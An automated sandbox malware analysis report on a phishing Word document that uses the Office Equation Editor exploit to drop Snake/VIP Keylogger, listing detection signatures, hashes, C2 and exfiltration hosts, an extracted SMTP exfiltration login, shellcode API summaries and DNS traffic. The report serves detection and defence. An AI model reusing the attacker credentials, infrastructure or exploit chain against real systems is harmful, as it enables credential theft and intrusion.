Windows Analysis Report
Thyssenkrupp PO040232.doc

Overview

General Information

Sample name: Thyssenkrupp PO040232.doc
Analysis ID: 1519252
MD5: d441cab32cafefaed9326b791cfc3b15
SHA1: 44aa1ba0ae5fb845899750881708003365937cea
SHA256: b9a387acc992d7431adfbbf28a1b18baa07c1dc64592c193d78c6a517747692d
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Potential downloader shellcode found
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to download and execute PE files
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for user specific document files
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Suspicious Outbound SMTP Connections
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Thyssenkrupp PO040232.doc Avira: detected
Antivirus detection for URL or domain
Source: http://aborters.duckdns.org:8081 URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081 URL Reputation: Label: malware
Found malware configuration
Source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "legacylog@jhxkgroup.online", "Password": "7213575aceACE@@ ", "Host": "mail.jhxkgroup.online", "Port": "587", "Version": "4.4"}
Source: 5.2.hgqilegacy20306.exe.3415480.7.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "legacylog@jhxkgroup.online", "Password": "7213575aceACE@@ ", "Host": "mail.jhxkgroup.online", "Port": "587"}
Multi AV Scanner detection for submitted file
Source: Thyssenkrupp PO040232.doc ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\XcsQpLjhNNvxYtrw[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 66.63.187.123 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Potential downloader shellcode found
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB15 LoadLibraryW,URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB15
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB15 LoadLibraryW,URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB15
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB9C URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB9C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACBD6 CreateProcessW,ExitProcess, 2_2_002ACBD6
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACC0F ExitProcess, 2_2_002ACC0F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACA56 ExitProcess, 2_2_002ACA56
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACA8B URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACA8B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB2F URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB2F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACBB5 CreateProcessW,ExitProcess, 2_2_002ACBB5
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0023E8C5h 5_2_0023E478
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0023E8C5h 5_2_0023DE2C
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0023E8C5h 5_2_0023DF4A
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_002569B8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00259743h 8_2_00259330
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025767Dh 8_2_00257490
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00258007h 8_2_00257490
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00259181h 8_2_00258EC4
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025EB89h 8_2_0025E8A8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_002571C9
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025F4B9h 8_2_0025F1D9
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025FDE9h 8_2_0025FB08
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025F021h 8_2_0025ED40
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0025F951h 8_2_0025F670
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00259743h 8_2_00259672
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_00256FEA
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F85AAh 8_2_005F82B0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F4321h 8_2_005F4050
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FE54Ah 8_2_005FE250
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F5A19h 8_2_005F5748
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FBA42h 8_2_005FB748
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F0311h 8_2_005F0040
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F7111h 8_2_005F6E40
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F8F3Ah 8_2_005F8C40
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F6349h 8_2_005F6078
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F8A72h 8_2_005F8778
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F0C41h 8_2_005F0970
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F7A41h 8_2_005F7770
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FF86Ah 8_2_005FF570
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F2339h 8_2_005F2068
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FCD62h 8_2_005FCA68
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F3A09h 8_2_005F3760
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FA25Ah 8_2_005F9F60
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F50E9h 8_2_005F4E18
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FEA12h 8_2_005FE718
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F67E2h 8_2_005F6510
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FBF0Ah 8_2_005FBC10
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F10D9h 8_2_005F0E08
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F7F7Ah 8_2_005F7C08
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F9402h 8_2_005F9108
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F27D1h 8_2_005F2500
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F1A09h 8_2_005F1738
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FFD32h 8_2_005FFA38
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F3101h 8_2_005F2E30
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FD22Ah 8_2_005FCF30
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FA722h 8_2_005FA428
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F07A9h 8_2_005F04D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F75A9h 8_2_005F72D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FC3D2h 8_2_005FC0D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F1EA1h 8_2_005F1BD0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F98CAh 8_2_005F95D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F3599h 8_2_005F32C8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FDBBAh 8_2_005FD8C0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FD6F2h 8_2_005FD3F8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FABEAh 8_2_005FA8F0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F47B9h 8_2_005F44E8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F5EB1h 8_2_005F5BE0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FEEDAh 8_2_005FEBE0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F2C69h 8_2_005F2998
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F9D92h 8_2_005F9A98
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FE082h 8_2_005FDD88
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F4C51h 8_2_005F4980
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FB57Ah 8_2_005FB280
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F3E89h 8_2_005F3BB8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FB0B2h 8_2_005FADB8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F5581h 8_2_005F52B0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F6C79h 8_2_005F69A8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FF3A2h 8_2_005FF0A8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005F1571h 8_2_005F12A0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 005FC89Ah 8_2_005FC5A0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0061033Ah 8_2_00610040
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00611B22h 8_2_00611828
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0061330Ah 8_2_00613010
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00611FEAh 8_2_00611CF0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006137D2h 8_2_006134D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0061297Ah 8_2_00612680
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00611192h 8_2_00610E98
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0061165Ah 8_2_00611360
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00612E42h 8_2_00612B48
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00610802h 8_2_00610508
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00610CCAh 8_2_006109D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00613C9Ah 8_2_006139A0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006124B3h 8_2_006121B8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067AD11h 8_2_0067AA68
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067BA19h 8_2_0067B770
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00673319h 8_2_00673070
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00674021h 8_2_00673D78
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067C721h 8_2_0067C478
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067EC49h 8_2_0067E978
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067FA11h 8_2_0067F740
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00676FE9h 8_2_00676D40
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00677CF1h 8_2_00677A48
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006789F9h 8_2_00678750
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00679701h 8_2_00679458
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067C2C9h 8_2_0067C020
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00673BC9h 8_2_00673920
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067CFD1h 8_2_0067CD28
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006748D1h 8_2_00674628
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006755D9h 8_2_00675330
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067DCD9h 8_2_0067DA30
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006762E1h 8_2_00676038
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006792A9h 8_2_00679000
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067F0E1h 8_2_0067EE10
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067B5C1h 8_2_0067B318
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00675E89h 8_2_00675BE0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067E7B1h 8_2_0067E4E0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00676B91h 8_2_006768E8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00677899h 8_2_006775F0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006785A1h 8_2_006782F8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067B169h 8_2_0067AEC0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067BE71h 8_2_0067BBC8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00673771h 8_2_006734C8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067CB7Bh 8_2_0067C8D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00674479h 8_2_006741D0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00675181h 8_2_00674ED8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067D881h 8_2_0067D5D8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00678149h 8_2_00677EA0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067F579h 8_2_0067F2A8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00678E51h 8_2_00678BA8
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00679B59h 8_2_006798B0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067D429h 8_2_0067D180
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00674D29h 8_2_00674A80
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00675A31h 8_2_00675788
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 0067E1C5h 8_2_0067DE88
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00676739h 8_2_00676490
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 00677441h 8_2_00677198
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006EC5E5h 8_2_006EC431
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006E5F38
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov ecx, dword ptr [ebp-40h] 8_2_006E7318
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EB5C1
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov ecx, 000003E8h 8_2_006E75A0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EBC6B
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006E2E16
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006E2AF4
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EB8C2
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EB8C0
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then push 00000000h 8_2_006EB17C
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then push 00000000h 8_2_006EC12E
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EC12E
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006E5F28
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then jmp 006EC5E5h 8_2_006EC535
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then push 00000000h 8_2_006E950F
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006E2B00
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then mov ecx, dword ptr [ebp-40h] 8_2_006E7315
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_006EC3A1
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
